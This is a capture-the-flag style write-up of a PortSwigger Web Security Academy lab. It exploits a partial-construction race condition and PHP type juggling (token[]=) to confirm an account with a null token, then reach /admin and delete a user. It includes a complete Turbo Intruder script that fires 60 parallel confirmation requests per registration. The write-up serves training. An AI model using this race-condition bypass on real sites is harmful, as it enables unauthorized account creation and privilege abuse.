Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type Race Conditions
Difficulty Expert
Objective Exploit a partial construction window in user registration to confirm an account with a null token before the registration token is written to the database, then delete carlos

Partial Construction Race Conditions

The lab had no provided credentials — only a registration form requiring a @ginandjuice.shop email:

Screenshot
Screenshot
Screenshot

Re-sending the registration request returned "An account already exists":

Screenshot

The confirmation JS (/resources/static/users.js) showed that confirmation is a POST /confirm?token=<value>:

Screenshot

Probing the endpoint directly with token=1 returned "Incorrect token: 1":

Screenshot

The vulnerability is timing: during POST /register processing, there's a brief window between creating the user record and writing the confirmation token. During that window the token field is null. If token=null is submitted during that window, the comparison null == null may succeed. Partial construction creates a sub-state where security fields are uninitialized.

Testing empty and array token values — token[]= (an empty PHP array) returned "Incorrect token: Array" rather than "Forbidden":

Screenshot
Screenshot

PHP's loose comparison (== not ===) treats null == [] as true. The server's confirmation endpoint doesn't use strict comparison — token[]= is the injection syntax that exploits this.

Benchmarking the endpoints separately:

Screenshot
Screenshot
  • POST /confirm → ~283ms
  • POST /register → ~439ms

/confirm is 156ms faster than /register. A single parallel confirm fires and completes before the user even exists. Flooding with 60 confirmation requests per registration attempt compensates — at least some will land during the ~156ms null window inside the registration process.

Turbo Intruder script — one registration + 60 confirmation requests per gate, all released simultaneously:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                            concurrentConnections=1,
                            engine=Engine.BURP2
                            )

    confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0af300a9031c6e6d83733db4002900ed.web-security-academy.net
Cookie: phpsessionid=H3SPuPLIWe4IW2e5ksWEE1lqmjdhAtq3
Content-Length: 0
'''
    for attempt in range(20):
        currentAttempt = str(attempt)
        username = 'teto' + currentAttempt

        engine.queue(target.req, username, gate=currentAttempt)

        for i in range(60):
            engine.queue(confirmationReq, gate=currentAttempt)

        engine.openGate(currentAttempt)

def handleResponse(req, interesting):
    table.add(req)
Screenshot

After many attempts:

Screenshot
Account registration for user waaaaaa3 is successful!
Screenshot

Logged in as waaaaaa3 and navigated to /admin:

Screenshot

Deleted carlos. This lab was a pain.... this attack requires understanding PHP type juggling, identifying a partial construction window, using Turbo Intruder with gates correctly, and tolerating a high failure rate across many attempts.

No single step is individually complex; the difficulty is in chaining all of them and recognizing that persistence is part of the technique.

Lab solved and section finished

Resources